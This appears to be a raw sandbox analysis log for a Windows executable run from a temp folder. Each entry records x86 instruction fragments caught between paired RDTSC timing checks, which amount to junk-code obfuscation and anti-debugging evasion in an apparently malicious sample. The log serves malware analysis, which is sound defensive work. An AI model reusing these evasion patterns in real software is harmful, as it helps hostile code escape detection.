Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10781CA second address: 1078226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a add ebx, 2DD8B206h 0x00000010 mov edi, dword ptr [ebp+122D2AC2h] 0x00000016 push 00000000h 0x00000018 add bx, 5E0Fh 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007FB16943CC98h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 xchg eax, esi 0x0000003a jmp 00007FB16943CC9Fh 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jp 00007FB16943CC96h 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1078226 second address: 107822C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1079208 second address: 107921C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 107A29D second address: 107A2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1077354 second address: 1077358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 107743C second address: 1077440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 107836D second address: 1078373 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1078373 second address: 1078379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1078379 second address: 107837D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1073228 second address: 10732C5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB168B06446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e jnl 00007FB168B0645Ah 0x00000014 push dword ptr fs:[00000000h] 0x0000001b call 00007FB168B0644Eh 0x00000020 xor bl, FFFFFFCAh 0x00000023 pop edi 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov dword ptr [ebp+122D5903h], ecx 0x00000031 mov eax, dword ptr [ebp+122D0629h] 0x00000037 jmp 00007FB168B06458h 0x0000003c push FFFFFFFFh 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007FB168B06448h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 mov ebx, 26925A3Eh 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 je 00007FB168B06448h 0x00000066 push eax 0x00000067 pop eax 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 107C36B second address: 107C39B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB16943CCA4h 0x00000008 ja 00007FB16943CC96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FB16943CC9Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 107C39B second address: 107C3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1080FC1 second address: 1080FC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1081275 second address: 1081279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1087D45 second address: 1087D84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c jbe 00007FB16943CC96h 0x00000012 pop eax 0x00000013 pop eax 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB16943CCA9h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1087D84 second address: 1087D8A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1087D8A second address: 1087DB0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007FB16943CC96h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB16943CCA5h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108CD77 second address: 108CD8E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB168B0644Ah 0x00000008 pushad 0x00000009 jp 00007FB168B06446h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108BA39 second address: 108BA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108BA3F second address: 108BA43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108BFA5 second address: 108BFCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007FB16943CC96h 0x0000000f jmp 00007FB16943CCA2h 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108BFCB second address: 108C00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB168B06455h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FB168B06456h 0x00000014 jl 00007FB168B06446h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d je 00007FB168B06446h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108C89B second address: 108C8AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FB16943CC9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108C9E7 second address: 108C9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108C9F1 second address: 108CA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB16943CC9Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108CA04 second address: 108CA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB168B0644Bh 0x0000000a jo 00007FB168B0645Dh 0x00000010 jmp 00007FB168B06451h 0x00000015 jng 00007FB168B06446h 0x0000001b popad 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 108CA39 second address: 108CA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109178A second address: 1091790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1091790 second address: 1091794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1091794 second address: 109179D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109179D second address: 10917B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB16943CCA7h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10917B9 second address: 10917BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10917BF second address: 10917C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1091AD2 second address: 1091ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1091ADB second address: 1091AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push edx 0x00000008 jg 00007FB16943CC96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1091EA1 second address: 1091ED5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB168B06446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007FB168B06446h 0x00000011 jmp 00007FB168B0644Eh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 je 00007FB168B0644Ah 0x0000001f push eax 0x00000020 push edx 0x00000021 js 00007FB168B06446h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1092039 second address: 1092050 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB16943CC9Fh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1092050 second address: 1092054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1092054 second address: 1092082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FB16943CC96h 0x0000000f ja 00007FB16943CC96h 0x00000015 jmp 00007FB16943CCA7h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1092082 second address: 109208A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10924A2 second address: 10924A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10924A6 second address: 10924AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10924AE second address: 10924CB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB16943CCA6h 0x00000008 pop ecx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1019633 second address: 1019637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109FDBF second address: 109FDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109FDC3 second address: 109FDDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06454h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109FDDD second address: 109FDE7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB16943CC9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109EB25 second address: 109EB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109EB2B second address: 109EB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB16943CC9Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jl 00007FB16943CC96h 0x00000013 jmp 00007FB16943CC9Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109EB53 second address: 109EB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109EB58 second address: 109EB60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109ECF6 second address: 109ED01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB168B06446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109EE72 second address: 109EE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB16943CC96h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109F019 second address: 109F048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB168B06456h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109F048 second address: 109F04D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109F04D second address: 109F060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnp 00007FB168B0644Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109F87E second address: 109F884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 101B15D second address: 101B180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB168B06452h 0x0000000a pushad 0x0000000b popad 0x0000000c je 00007FB168B06446h 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 101B180 second address: 101B186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 109E5D0 second address: 109E5E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB168B06446h 0x0000000a popad 0x0000000b jbe 00007FB168B06448h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A4A55 second address: 10A4A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A4A60 second address: 10A4A81 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB168B06446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB168B0644Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FB168B06446h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A381A second address: 10A381E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1067E8E second address: 1067ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jmp 00007FB168B0644Ch 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FB168B06448h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov ecx, dword ptr [ebp+122D2569h] 0x0000002c lea eax, dword ptr [ebp+1248CBD4h] 0x00000032 mov cx, si 0x00000035 nop 0x00000036 push ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10680AF second address: 10680B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068472 second address: 1068477 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068477 second address: 10684BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 js 00007FB16943CC9Eh 0x0000000e jne 00007FB16943CC98h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push edi 0x00000019 jmp 00007FB16943CCA3h 0x0000001e pop edi 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 jmp 00007FB16943CC9Fh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10684BC second address: 10684C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10684C0 second address: 10684D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106890A second address: 1068963 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB168B06459h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007FB168B06451h 0x00000010 push 00000004h 0x00000012 pushad 0x00000013 mov di, F82Eh 0x00000017 cld 0x00000018 popad 0x00000019 nop 0x0000001a jmp 00007FB168B0644Fh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FB168B0644Ah 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068CEF second address: 1068CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068CF3 second address: 1068D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, 2BD45600h 0x00000013 push 0000001Eh 0x00000015 sub dword ptr [ebp+12477AFBh], eax 0x0000001b push eax 0x0000001c jng 00007FB168B06454h 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068FAC second address: 1068FD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068FD1 second address: 1068FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068FD6 second address: 1068FF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068FF3 second address: 1068FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1068FF7 second address: 1068FFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 106915C second address: 1069165 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3AAD second address: 10A3AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3AB3 second address: 10A3AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3AB9 second address: 10A3AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10A3AC2 second address: 10A3ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB168B06446h 0x0000000a rdtsc
